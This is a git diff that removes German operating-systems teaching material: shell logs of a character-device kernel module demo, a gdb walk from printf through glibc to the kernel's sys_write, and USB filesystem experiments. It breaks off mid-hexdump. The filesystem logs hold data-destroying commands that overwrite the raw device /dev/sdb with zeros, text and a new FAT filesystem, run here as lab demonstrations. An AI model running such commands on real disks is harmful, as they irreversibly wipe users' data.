--rw-r--r-- 1 peter peter 4997 Apr 26 2019 chardev-3.c -lrwxrwxrwx 1 peter peter 16 Apr 10 12:31 Makefile -> Makefile-modules --rw-r--r-- 1 peter peter 159 Apr 10 12:35 Makefile-modules --rw-r--r-- 1 peter peter 2495 Apr 10 12:43 SCRATCH -cassini/home/peter/bo/2022ss/bs/20220411> mkdir dev -cassini/home/peter/bo/2022ss/bs/20220411> sudo mknod dev/chardev c 241 1 -cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev -insgesamt 0 -crw-r--r-- 1 root root 241, 1 Apr 11 11:42 chardev -cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/chardev -crw-r--r-- 1 root root 241, 1 Apr 11 11:42 dev/chardev -cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev -cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden -cassini/home/peter/bo/2022ss/bs/20220411> diff --git a/20220411/modules-7.txt b/20220411/modules-7.txt deleted file mode 100644 index 01223e888e037595b537f831d803f55a1c8861b6..0000000000000000000000000000000000000000 --- a/20220411/modules-7.txt +++ /dev/null @@ -1,20 +0,0 @@ -/* - * Called when a process writes to dev file: echo "hi" > /dev/hello - */ -static ssize_t -device_write(struct file *filp, const char *buff, size_t len, loff_t * off) -{ - printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); - return -EINVAL; -} -cassini/home/peter/bo/2022ss/bs/20220411> echo "Hallo" > dev/chardev -bash: dev/chardev: Keine Berechtigung -cassini/home/peter/bo/2022ss/bs/20220411> sudo su - -[sudo] Passwort für peter: -Das hat nicht funktioniert, bitte nochmal probieren. -[sudo] Passwort für peter: -root@cassini:~# . bash-settings.pg -cassini/root# cd ~peter/bo/2022ss/bs/20220411/ -cassini/home/peter/bo/2022ss/bs/20220411# echo "Hallo" > dev/chardev --bash: echo: Schreibfehler: Das Argument ist ungültig. -cassini/home/peter/bo/2022ss/bs/20220411# diff --git a/20220411/modules-8.txt b/20220411/modules-8.txt deleted file mode 100644 index 023faa54a15592852cd90f64e5eff75e8da63231..0000000000000000000000000000000000000000 --- a/20220411/modules-8.txt +++ /dev/null @@ -1,50 +0,0 @@ -brw-rw---- 1 root disk 8, 32 Apr 11 12:57 sdc -brw-rw---- 1 root disk 8, 33 Apr 11 12:57 sdc1 -drwxr-xr-x 2 root root 400 Apr 11 12:57 block -crw------- 1 root root 241, 0 Apr 11 13:00 chardev -drwxr-xr-x 2 root root 4000 Apr 11 13:00 char -drwxrwxrwt 2 root root 60 Apr 11 13:00 shm -crw-rw-rw- 1 root tty 5, 2 Apr 11 13:00 ptmx -cassini/home/peter/bo/2022ss/bs/20220411> cat /dev/chardev -cat: /dev/chardev: Keine Berechtigung -Sie haben neue Post in /var/mail/peter. -cassini/home/peter/bo/2022ss/bs/20220411> sudo cat /dev/chardev -I already told you 0 times Hello world! -Sie haben Post in /var/mail/peter. -cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/chardev -crw-r--r-- 1 root root 241, 1 Apr 11 11:42 dev/chardev -cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev -I already told you 1 times Hello world! -cassini/home/peter/bo/2022ss/bs/20220411> sudo mknod dev/chardev0 c 241 0 -cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/ -insgesamt 0 -crw-r--r-- 1 root root 241, 1 Apr 11 11:42 chardev -crw-r--r-- 1 root root 241, 0 Apr 11 13:04 chardev0 -cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev0 -I already told you 2 times Hello world! -cassini/home/peter/bo/2022ss/bs/20220411> mknod dev/chardev0u c 241 0 -mknod: dev/chardev0u: Die Operation ist nicht erlaubt -cassini/home/peter/bo/2022ss/bs/20220411> which mknod -/bin/mknod -cassini/home/peter/bo/2022ss/bs/20220411> ls -l $(which mknod) --rwxr-xr-x 1 root root 68544 Feb 28 2019 /bin/mknod -cassini/home/peter/bo/2022ss/bs/20220411> cat /dev/chardev -cat: /dev/chardev: Keine Berechtigung -cassini/home/peter/bo/2022ss/bs/20220411> sudo cat /dev/chardev -I already told you 3 times Hello world! -cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/* /dev/chardev -crw------- 1 root root 241, 0 Apr 11 13:00 /dev/chardev -crw-r--r-- 1 root root 241, 1 Apr 11 11:42 dev/chardev -crw-r--r-- 1 root root 241, 0 Apr 11 13:04 dev/chardev0 -cassini/home/peter/bo/2022ss/bs/20220411> sudo rmmod chardev_1 -rmmod: ERROR: Module chardev_1 is not currently loaded -cassini/home/peter/bo/2022ss/bs/20220411> sudo rmmod chardev_3 -cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/* /dev/chardev -ls: Zugriff auf '/dev/chardev' nicht möglich: Datei oder Verzeichnis nicht gefunden -crw-r--r-- 1 root root 241, 1 Apr 11 11:42 dev/chardev -crw-r--r-- 1 root root 241, 0 Apr 11 13:04 dev/chardev0 -cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev -cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden -cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev0 -cat: dev/chardev0: Kein passendes Gerät bzw. keine passende Adresse gefunden -cassini/home/peter/bo/2022ss/bs/20220411> diff --git a/20220411/os-layers-1.jpg b/20220411/os-layers-1.jpg deleted file mode 120000 index 6dc99e9e12dbc84e908c37974c7d528be014d587..0000000000000000000000000000000000000000 --- a/20220411/os-layers-1.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-1.jpg \ No newline at end of file diff --git a/20220411/os-layers-2.jpg b/20220411/os-layers-2.jpg deleted file mode 120000 index 4da385ea396af0f9c7ed79b23a183a3b5618b445..0000000000000000000000000000000000000000 --- a/20220411/os-layers-2.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-2.jpg \ No newline at end of file diff --git a/20220411/os-layers-3.jpg b/20220411/os-layers-3.jpg deleted file mode 120000 index eaf5b599709e39d1c51dfdac28843c31b3fa971c..0000000000000000000000000000000000000000 --- a/20220411/os-layers-3.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-3.jpg \ No newline at end of file diff --git a/20220411/os-layers-4.jpg b/20220411/os-layers-4.jpg deleted file mode 120000 index efcbbd1827ff55f225fee0b77b8bfb5c6cff980c..0000000000000000000000000000000000000000 --- a/20220411/os-layers-4.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-4.jpg \ No newline at end of file diff --git a/20220411/os-layers-5.jpg b/20220411/os-layers-5.jpg deleted file mode 120000 index 91cabe9241f19ece833cb22e8f16587153f246a2..0000000000000000000000000000000000000000 --- a/20220411/os-layers-5.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-5.jpg \ No newline at end of file diff --git a/20220425/bs-20220425.txt b/20220425/bs-20220425.txt deleted file mode 100644 index 3841aab1f5dd71438f3e18f23115c91f559ab684..0000000000000000000000000000000000000000 --- a/20220425/bs-20220425.txt +++ /dev/null @@ -1,280 +0,0 @@ -Von der Anwendung bis zum Kernel: libc, 14.05.2021, 14:17:04 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -$ gcc -Wall -O -g3 hello-1.c -o hello-1 -$ gdb -tui ./hello-1 -(gdb) b 5 # setze Breakpoint vor printf()-Aufruf -(gdb) run -(gdb) step # springe in die aufgerufene Funktion hinein -(gdb) directory libc/glibc-2.28/libio # Verzeichnis für Quelltext mitteilen ---> _IO_puts() -(gdb) next # 1 Zeile ausführen ---> _IO_sputn() # springe in die aufgerufene Funktion hinein ---> IO_validate_vtable() # In dieser Funktion landen wir stattdessen. ---> return vtable; ---> "Hello, world!\n" erscheint auf dem Bildschirm. ---> ??? - -_IO_sputn() ist keine Funktion, sondern ein Präprozessor-Makro, -der _IO_XSPUTN() aufruft. - -_IO_XSPUTN() ist keine Funktion, sondern ein Präprozessor-Makro, -der JUMP2() aufruft und zusätzlich __xsputn -als ersten Parameter übergibt. - -JUMP2() ist keine Funktion, sondern ein Präprozessor-Makro, -der die Funktion _IO_JUMPS_FUNC(THIS)->FUNC() aufruft -und zusätzlich THIS als ersten Parameter übergibt. -FUNC hat hierbei den Wert __xsputn, und -THIS hat den Wert FP, also die Datei, hier also stdout. - -_IO_JUMPS_FUNC() ist keine Funktion, sondern ein Präprozessor-Makro, -der ... - -# define _IO_JUMPS_FUNC(THIS) \ - (IO_validate_vtable \ - (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ - + (THIS)->_vtable_offset))) - -... prüft, ob die virtuelle Methodentabelle (vtable) in Ordnung ist -und einen Zeiger darauf zurückliefert. -Anschließend kann JUMP2() die tatsächliche Funktion __xsputn() aufrufen. - -Gesamtergebnis: - -_IO_sputn() ist eine virtuelle Methode der Datei. -THIS hat den Wert der Datei, hier also stdout. - -... ---> return vtable; ---> _IO_new_file_xsputn() - -_IO_default_xsputn (f, ...) ---> _IO_OVERFLOW (f, EOF) ---> IO_valudate_vtable() # Aufruf einer virtuellen Methode ---> _IO_new_file_overflow() ---> _IO_do_write (f, ...) # Präprozessor-Makro für ... ---> _IO_new_do_write (f, ...) -... Schleife ... -Datei fileops.c, Zeile 791 ---> _IO_new_do_write (f, ...) ---> new_do_write (f, ...) ---> _IO_SYSWRITE (fp, ...) ---> __libc_write() -Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26 ---> return SYSCALL_CANCEL (write, fd, buf, nbytes); - -Systemaufrufe, 21.05.2021, 12:08:00 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -hello-2.c -... ---> _IO_new_do_write (f, ...) ---> new_do_write (f, ...) ---> _IO_SYSWRITE (fp, ...) ---> __libc_write() -Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26 ---> return SYSCALL_CANCEL (write, fd, buf, nbytes); - -b+ │0x7ffff7eb54f0 <__GI___libc_write> lea 0xd61f9(%rip),%rax # 0x7ffff7f8b6f0 │ - >│0x7ffff7eb54f7 <__GI___libc_write+7> mov (%rax),%eax │ - │0x7ffff7eb54f9 <__GI___libc_write+9> test %eax,%eax │ - │0x7ffff7eb54fb <__GI___libc_write+11> jne 0x7ffff7eb5510 <__GI___libc_write+32> │ - │0x7ffff7eb54fd <__GI___libc_write+13> mov $0x1,%eax │ - │0x7ffff7eb5502 <__GI___libc_write+18> syscall │ - │0x7ffff7eb5504 <__GI___libc_write+20> cmp $0xfffffffffffff000,%rax │ - │0x7ffff7eb550a <__GI___libc_write+26> ja 0x7ffff7eb5560 <__GI___libc_write+112> │ - │0x7ffff7eb550c <__GI___libc_write+28> retq │ - │0x7ffff7eb550d <__GI___libc_write+29> nopl (%rax) │ - │0x7ffff7eb5510 <__GI___libc_write+32> push %r12 │ - │0x7ffff7eb5512 <__GI___libc_write+34> mov %rdx,%r12 │ - │0x7ffff7eb5515 <__GI___libc_write+37> push %rbp - -lea: Lade einen Zeiger aus einer konstanten Tabelle in das rax-Register -mov: Lade das, worauf der Zeiger zeigt, in das eax-Register -test: Prüfe, welchen Wert eax hat -jne: Jump if Not Equal = bedingter Sprung, falls ungleich 0 (Vermutung: Fehler) -mov: Lade die Zahl 1 als Parameter für syscall in das eax-Register. 1 steht für "write". -syscall: übergebe an den Kernel --> schreibt "Hello, world!\n" auf den Bildschirm -cmp: Vergleiche den Wert von eax mit einer Zahl -ja: Jump if Above (Prüfen auf Fehler) -retq: Beende die Funktion - -syscall erwartet Parameter in den Prozessor-Registern: - eax: Nummer der Funktion, die aufgerufen werden soll - rsi: Zeiger auf die auszugebenden Daten - (siehe: https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-1.html) - ebx oder edx: Länge der auszugebenden Daten - (ggf. weitere Register) - -Kernel, 25.05.2017, 17:53:23 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Fragestellung: Wir haben in der glibc beim Maschinenbefehl "syscall" -aufgehört. Wie geht es nun im Kernel weiter? Wer nimmt den Funktions- -aufruf entgegen? - -Suchbegriff: sys_call_table - ---> Es gibt eine Tabelle, die für jeden der durchnumerierten Systemaufrufe - einen Zeiger auf die aufzurufende Funktion enthält. - ---> Der Maschinenbefehl "syscall" ruft eine Funktion innerhalb des - Kernels auf. Wo steht, welche Funktion das ist? - -arch/x86/entry/syscall_64.c: Defnition des Arrays sys_call_table - -Initialisiertes Array von Zeigern auf Funktionen. -Zunächst zeigen alle Zeiger auf die Funktion sys_ni_syscall(), -die lediglich eine Fehlermeldung zurückgibt ("nicht implementiert"). -Danach werden auf diejenigen Funktionen, die es tatsächlich gibt -Zeiger initialisiert. Dies erfolgt durch ein #include der Datei -/usr/src/linux-headers-4.19.0-8-amd64/arch/x86/include/generated/asm/syscalls_64.h -mit vorheriger Definition eines Präprozessor-Macros __SYSCALL(). - - asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = { - /* - * Smells like a compiler bug -- it doesn't work - * when the & below is removed. - */ - [0 ... __NR_syscall_max] = &sys_ni_syscall, - #include <asm/syscalls_64.h> - --> [0] = __x64_sys_read, - [1] = __x64_sys_write, - [2] = __x64_sys_open, - ... - }; - -Vorher wurden mit demselben Trick alle Funktionen vorwärts-deklariert: - - #define __SYSCALL_64(nr, sym, qual) extern asmlinkage long sym(const struct pt_regs *); - #include <asm/syscalls_64.h> - --> extern asmlinkage long __x64_sys_read(const struct pt_regs *); - extern asmlinkage long __x64_sys_write(const struct pt_regs *); - extern asmlinkage long __x64_sys_open(const struct pt_regs *); - ... - #undef __SYSCALL_64 - -Wie können wur nun dafür sorgen, daß der Befehl syscall dieses Array -auch benutzt? - -arch/x86/entry/entry_64.S enthält eine Funktion entry_SYSCALL_64, -die eine Funktion "do_syscall_64()" aufruft -und sich über "USERGS_SYSRET64" beendet. -Dies ist ein Präprozessor-Makro, der zu "swapgs; sysretq;" expandiert -(Definition in include/asm/irqflags.h). - -Woher kommt die Include-Datei in "generated"? -arch/x86/entry/syscalls/Makefile ruft das Shell-Skript syscalltbl.sh auf. -Dieses liest syscall_64.tbl und erzeugt daraus syscall_64.h. - -Damit haben wir die Funktion gefunden, die den Syscall entgegennehmen soll. -Daraus ergeben sich neue Fragen: -1. Wie sorge ich dafür, daß sie tatsächlich bei "syscall" aufgerufen wird? -2. Wie geht es von dort aus weiter bis zu der Tabelle "sys_call_table"? - -zu 1.: -Suche nach "entry_SYSCALL_64" liefert: -arch/x86/kernel/cpu/common.c: wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64); - -Was bedeutet "wrmsrl"? -https://sites.google.com/site/masumzh/articles/hypervisor-based-virtualization/compute-virtualization -"As shown below, the content of the IA32_LSTAR MSR (Model Specific Register) -is copied to the instruction pointer register (RIP) [...]" - -Demnach ist das Prozessorregister "IA32_LSTAR MSR" die Einsprungadresse, -zu der der "syscall"-Aufruf springen soll. -Um das Register "IA32_LSTAR MSR" zu setzen, gibt es den Befehl "wrmsrl" -(Write MSR (long = 32 Bit)). -Offensichtlich ist das MSR ein Array, und "IA32_LSTAR" ist der Index. - -zu 2.: -arch/x86/entry/common.c enthält die C-Funcktion do_syscall_64(). -Diese enthält die Zeile "regs->ax = sys_call_table[nr](regs);", also den -Aufruf der Funktion, auf die ein Zeiger in der tabelle "sys_call_table" -an der Stelle "nr" gespeichert ist. - ---> Weiter geht's mit dem Eintrag in sys_call_table, - also mit der Implementation von sys_write(). - -Die Tabelle wird benutzt in der Funktion do_syscall_64(): - - regs->ax = sys_call_table[nr](regs); - -Wo wird die Funktion __x64_sys_write definiert? -Wenn man lange genug sucht, findet man: arch/x86/include/asm/syscall_wrapper.h -Dort steht eine kleine Funktion __x64_sys_write(), die ihrerseits eine Funktion -__se_sys_write() aufruft. - -Der Präprozessor-Makro __SYSCALL_DEFINEx() wird über einen anderen Präprozessor-Makro -SYSCALL_DEFINEx() aufgerufen, der in include/linux/syscalls.h definiert wird -und seinerseits über SYSCALL_DEFINE3() aufgerufen wird, der ebenfalls in -include/linux/syscalls.h definiert wird. - -Wenn man lange genug sucht, findet man: fs/read_write.c -SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count) - -Dort wird eine Funktion definiert, die ihrerseits eine Funktion ksys_write() aufruft. -Diese enthält: - - ret = vfs_write(f.file, buf, count, &pos); - -Hier passiert das eigentliche Schreiben. - -Ebenfalls in fs/read_write.c: - - ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos) - -Diese ruft auf: - - ret = __vfs_write(file, buf, count, pos); - -Ebenfalls in fs/read_write.c: - - ssize_t __vfs_write(struct file *file, const char __user *p, size_t count, loff_t *pos) - -Diese ruft auf: - - if (file->f_op->write) return file->f_op->write(file, p, count, pos); - -:-) - -Jetzt fehlt nur noch: Wie bekommt f_op->write den Wert, den das Modul hinterlegt hat? - -Der Funktion wird ein Parameter "file" übergeben. -Dies ist eine "struct file", die u.a. ein Feld "f_op" enthält, -das auf ein weiteres struct mit Callback-Funktionen zeigt. - -Wie kommen die "richtigen" Callback-Funktionen dort hinein? -Eigentlich müßte dies bei register_chrdev() passieren. -Schauen wir uns daher an, was register_chrdev() eigentlich macht. - -Dies ist definiert in include/linux/fs.h und ruft die Funktion -__register_chrdev() auf. - -Diese wiederum ist definiert in fs/char_dev.c. -Sie alloziert eine cdev-Struktur und speichert darin die fops. -Die cdev-Struktur wird dann mittels cdev_add() in eine Liste eingefügt. -Hierfür ruft cdev_add() die Funktion kobj_map() auf. -Diese Funktion wird in drivers/base/map.c definiert -und legt die cdev-Struktur in einer Hash-Tabelle ab. -Der letzte Parameter "data" ist dabei der Zeiger auf die cdev-Strutur, -die auch die fops enthält. - -Wie kommen nun die fops von der Hash-Tabelle aus in die file-Struktur? - -Vermutung: Dies geschieht beim Öffnen der Datei. - -In fs/open.c gibt es eine Funktion vfs_open(). -Diese sucht den zur Datei gehörenden inode heraus und ruft damit do_dentry_open() auf. - -Theorie der Dateisysteme: Dateien werden durch "inodes" repräsentiert. - -include/linux/fs.h: Definition "inode" - - Die "struct inode" enthält ein Datenfeld "i_rdev", in dem die Major- und Minor-Nr. - der Gerätedatei gemeinsam gespeichert sind. - - --> Sobald wir einen inode kennen, kennen wir Major- und Minor-Nr. der Gerätedatei. - -do_dentry_open() schreibt den inode in die file-Struktur, -holt die fops aus dem inode und legt sie direkt in der file-Struktur ab. - -# Das einzige, was jetzt noch fehlt: Wie kommen die fops in den inode? diff --git a/20220502/bs-20220502.txt b/20220502/bs-20220502.txt deleted file mode 100644 index 1a5d5df843864c5dbcb05b2576861b6027a589e5..0000000000000000000000000000000000000000 --- a/20220502/bs-20220502.txt +++ /dev/null @@ -1,3 +0,0 @@ -Dateisysteme, 02.05.2022, 12:45:10 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -FAT-Dateisysteme: https://de.wikipedia.org/wiki/File_Allocation_Table diff --git a/20220502/filesystems-1.txt b/20220502/filesystems-1.txt deleted file mode 100644 index 71ef73cea9eb8289a95bee58e30f7ca97628a6a4..0000000000000000000000000000000000000000 --- a/20220502/filesystems-1.txt +++ /dev/null @@ -1,14 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502> mount /media/usb1/ -Sie haben Post in /var/mail/peter. -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/ -insgesamt 0 -cassini/home/peter/bo/2022ss/bs/20220502> echo "Dies ist ein Test." > /media/usb1/test.txt -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/ -insgesamt 4 --rwxr-xr-x 1 peter peter 19 Mai 2 12:46 test.txt -cassini/home/peter/bo/2022ss/bs/20220502> cat /media/usb1/test.txt -Dies ist ein Test. -cassini/home/peter/bo/2022ss/bs/20220502> umount /media/usb1 -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/ -insgesamt 0 -cassini/home/peter/bo/2022ss/bs/20220502> diff --git a/20220502/filesystems-10.txt b/20220502/filesystems-10.txt deleted file mode 100644 index 9a99d1b82846b631b56134adc08a67e47b185c8b..0000000000000000000000000000000000000000 --- a/20220502/filesystems-10.txt +++ /dev/null @@ -1,12 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/zero -crw-rw-rw- 1 root root 1, 5 Mär 15 18:48 /dev/zero -cassini/home/peter/bo/2022ss/bs/20220502> cat /dev/zero | hexdump -C | head -20 -^C -cassini/home/peter/bo/2022ss/bs/20220502> dd if=/dev/zero bs=1024 count=1 | hexdump -C -00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -1+0 Datensätze ein -1+0 Datensätze aus -* -00000400 -1024 bytes (1,0 kB, 1,0 KiB) copied, 6,6155e-05 s, 15,5 MB/s -cassini/home/peter/bo/2022ss/bs/20220502> diff --git a/20220502/filesystems-11.txt b/20220502/filesystems-11.txt deleted file mode 100644 index 9f8d9980c373e3f9a9bedf081fca7f44de32ebaa..0000000000000000000000000000000000000000 --- a/20220502/filesystems-11.txt +++ /dev/null @@ -1,5 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502> cat /dev/zero > /dev/sdb -bash: /dev/sdb: Keine Berechtigung -cassini/home/peter/bo/2022ss/bs/20220502> sudo cat /dev/zero > /dev/sdb -bash: /dev/sdb: Keine Berechtigung -cassini/home/peter/bo/2022ss/bs/20220502> diff --git a/20220502/filesystems-12.txt b/20220502/filesystems-12.txt deleted file mode 100644 index df0ead6a3fcd287807ca50e8c590960dc3cd4fbe..0000000000000000000000000000000000000000 --- a/20220502/filesystems-12.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502# dd if=/dev/sdb bs=1024 count=1024 | hexdump -C 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00100000 -1024+0 Datensätze ein -1024+0 Datensätze aus -1048576 bytes (1,0 MB, 1,0 MiB) copied, 0,121808 s, 8,6 MB/s -cassini/home/peter/bo/2022ss/bs/20220502# mount /media/usb1/ -mount: /media/usb1: special device /dev/sdb1 does not exist. -cassini/home/peter/bo/2022ss/bs/20220502# mount /media/usb0 -mount: /media/usb0: wrong fs type, bad option, bad superblock on /dev/sdb, missing codepage or helper program, or other error. -cassini/home/peter/bo/2022ss/bs/20220502# diff --git a/20220502/filesystems-13.txt b/20220502/filesystems-13.txt deleted file mode 100644 index ec7c6b08d8b14539a87efbce59de0825e1f91401..0000000000000000000000000000000000000000 --- a/20220502/filesystems-13.txt +++ /dev/null @@ -1,13 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502# ls -l /dev/sdb* -brw-rw---- 1 root disk 8, 16 Mai 2 13:22 /dev/sdb -cassini/home/peter/bo/2022ss/bs/20220502# echo "Dies ist ein Test." > /dev/sdb -cassini/home/peter/bo/2022ss/bs/20220502# dd if=/dev/sdb bs=1024 count=1024 | hexdump -C -00000000 44 69 65 73 20 69 73 74 20 65 69 6e 20 54 65 73 |Dies ist ein Tes| -00000010 74 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 |t...............| -00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00100000 -1024+0 Datensätze ein -1024+0 Datensätze aus -1048576 bytes (1,0 MB, 1,0 MiB) copied, 0,123712 s, 8,5 MB/s -cassini/home/peter/bo/2022ss/bs/20220502# diff --git a/20220502/filesystems-14.txt b/20220502/filesystems-14.txt deleted file mode 100644 index e6b0d4362a44061a5ac82402041a763753750427..0000000000000000000000000000000000000000 --- a/20220502/filesystems-14.txt +++ /dev/null @@ -1,62 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502# mkdosfs /dev/sdb -mkfs.fat 4.1 (2017-01-24) -attribute "partition" not found -cassini/home/peter/bo/2022ss/bs/20220502# dd if=/dev/sdb bs=1024 count=1024 | hexdump -C -00000000 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 08 20 00 |.X.mkfs.fat... .| -00000010 02 00 00 00 00 f8 00 00 3e 00 81 00 00 00 00 00 |........>.......| -00000020 00 d0 7c 00 28 1f 00 00 00 00 00 00 02 00 00 00 |..|.(...........| -00000030 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -00000040 80 00 29 27 b7 d9 08 4e 4f 20 4e 41 4d 45 20 20 |..)'...NO NAME | -00000050 20 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac | FAT32 ...w|.| -00000060 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2| -00000070 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n| -00000080 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di| -00000090 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse| -000000a0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl| -000000b0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press | -000000c0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a| -000000d0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......| -000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000200 52 52 61 41 00 00 00 00 00 00 00 00 00 00 00 00 |RRaA............| -00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000003e0 00 00 00 00 72 72 41 61 31 92 0f 00 02 00 00 00 |....rrAa1.......| -000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00000c00 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 08 20 00 |.X.mkfs.fat... .| -00000c10 02 00 00 00 00 f8 00 00 3e 00 81 00 00 00 00 00 |........>.......| -00000c20 00 d0 7c 00 28 1f 00 00 00 00 00 00 02 00 00 00 |..|.(...........| -00000c30 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -00000c40 80 00 29 27 b7 d9 08 4e 4f 20 4e 41 4d 45 20 20 |..)'...NO NAME | -00000c50 20 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac | FAT32 ...w|.| -00000c60 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2| -00000c70 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n| -00000c80 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di| -00000c90 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse| -00000ca0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl| -00000cb0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press | -00000cc0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a| -00000cd0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......| -00000ce0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00000df0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000e00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00004000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f 00 00 00 00 |................| -00004010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00100000 -1024+0 Datensätze ein -1024+0 Datensätze aus -1048576 bytes (1,0 MB, 1,0 MiB) copied, 0,121888 s, 8,6 MB/s -cassini/home/peter/bo/2022ss/bs/20220502# mount /media/usb0 -cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/ -insgesamt 8 -drwxr-xr-x 2 root root 4096 Jan 1 1970 . -drwxr-xr-x 17 root root 4096 Dez 4 2020 .. -cassini/home/peter/bo/2022ss/bs/20220502# echo "Dies ist ein Test." > /media/usb0/test.txt -cassini/home/peter/bo/2022ss/bs/20220502# umount /media/usb0 -cassini/home/peter/bo/2022ss/bs/20220502# diff --git a/20220502/filesystems-15.txt b/20220502/filesystems-15.txt deleted file mode 100644 index 51e53e6d3efd8953b93d6b85a8db40ad8a90a312..0000000000000000000000000000000000000000 --- a/20220502/filesystems-15.txt +++ /dev/null @@ -1,64 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502# dd if=/dev/sdb bs=1024 count=40960 | hexdump -C 00000000 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 08 20 00 |.X.mkfs.fat... .| -00000010 02 00 00 00 00 f8 00 00 3e 00 81 00 00 00 00 00 |........>.......| -00000020 00 d0 7c 00 28 1f 00 00 00 00 00 00 02 00 00 00 |..|.(...........| -00000030 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -00000040 80 00 29 27 b7 d9 08 4e 4f 20 4e 41 4d 45 20 20 |..)'...NO NAME | -00000050 20 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac | FAT32 ...w|.| -00000060 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2| -00000070 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n| -00000080 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di| -00000090 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse| -000000a0 72 74 20 61 20 62 6f 